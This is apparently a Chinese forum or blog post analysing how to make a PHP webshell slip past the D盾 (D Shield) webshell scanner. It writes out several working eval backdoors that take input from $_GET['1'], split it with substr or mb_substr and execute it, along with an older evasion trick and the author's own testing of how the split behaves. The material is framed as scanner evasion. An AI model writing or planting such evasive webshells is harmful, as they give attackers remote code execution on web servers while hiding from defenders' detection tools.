过D盾shell新思路
前言 今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。 原贴 首先来看下D盾扫描结果。 以前的思路常规,就是定义一个变量b:$b='';为空,$b = null;,$b = "\n";然后变量a: $a = $_GET['1'];,eval($a.$b);,或者eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。 <
前言
今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。
原贴

首先来看下D盾扫描结果。


以前的思路常规,就是定义一个变量b:$b='';为空,$b = null;,$b = "\n";然后变量a: $a = $_GET['1'];,eval($a.$b);,或者eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。
<?php
$m=$_GET['1'];
$a=substr($m,0,1);
$b=substr($m,1,9999);
eval($a.$b);
?>
而今天这个论坛看到的,思路有趣。
substr()函数返回字符串的一部分,例如:
<?php
$m='s9mf';
$b=substr($m,0,4);
echo $b;
// 代码运行返回s9mf
$a=substr($m,0,1);返回第一个字符$ $b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。

mb_substr
mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。
<?php
$m=$_GET['1'];
$a=mb_substr($m,0,1);
$b=mb_substr($m,1,9999);
eval($a.$b);
?>
“$a=substr($m,0,1);返回第一个字符$ $b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。”
我感觉表哥是不是这句话表述会有点问题,也不知道是不是我搞错了。
我的分析如下:
将代码修改为如下代码时候,当我给参数1传递字符串phpinfo()的时候,我发现var_dump($a);返回p,var_dump($b);返回hpinfo(),但是当我并没有给参数1传递参数的时候,var_dump($a);和var_dump($b);都是返回bool(false),并不是表哥说的返回第一个字符$。
希望可以和表哥可以交流下。qq:1406753911